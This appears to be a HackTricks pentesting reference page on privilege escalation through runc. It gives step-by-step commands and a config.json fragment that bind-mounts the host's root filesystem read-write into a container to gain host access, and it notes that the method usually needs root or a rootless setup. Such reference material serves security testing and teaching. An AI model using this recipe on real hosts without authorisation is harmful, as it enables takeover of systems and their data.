HackTricks
Search…
🤩
Generic Methodologies & Resources
🐧
Linux Hardening
🍏
MacOS Hardening
🪟
Windows Hardening
📱
Mobile Pentesting
👽
Network Services Pentesting
🕸
Pentesting Web
⛈
Cloud Security
😎
Hardware/Physical Access
🦅
Reversing & Exploiting
🔮
Crypto & Stego
🧐
External Platforms Reviews/Writeups
✍
TODO
RunC Privilege Escalation
Support HackTricks and get benefits!
Basic information
If you want to learn more about runc check the following page:
PE
If you find that
runc is installed in the host you may be able to run a container mounting the root / folder of the host.1
runc -help #Get help and see if runc is intalled
2
runc spec #This will create the config.json file in your current folder
3
4
Inside the "mounts" section of the create config.json add the following lines:
5
{
6
"type": "bind",
7
"source": "/",
8
"destination": "/",
9
"options": [
10
"rbind",
11
"rw",
12
"rprivate"
13
]
14
},
15
16
#Once you have modified the config.json file, create the folder rootfs in the same directory
17
mkdir rootfs
18
19
# Finally, start the container
20
# The root folder is the one from the host
21
runc run demo
Copied!
This won't always work as the default operation of runc is to run as root, so running it as an unprivileged user simply cannot work (unless you have a rootless configuration). Making a rootless configuration the default isn't generally a good idea because there are quite a few restrictions inside rootless containers that don't apply outside rootless containers.
Support HackTricks and get benefits!
Last modified 2mo ago
Copy link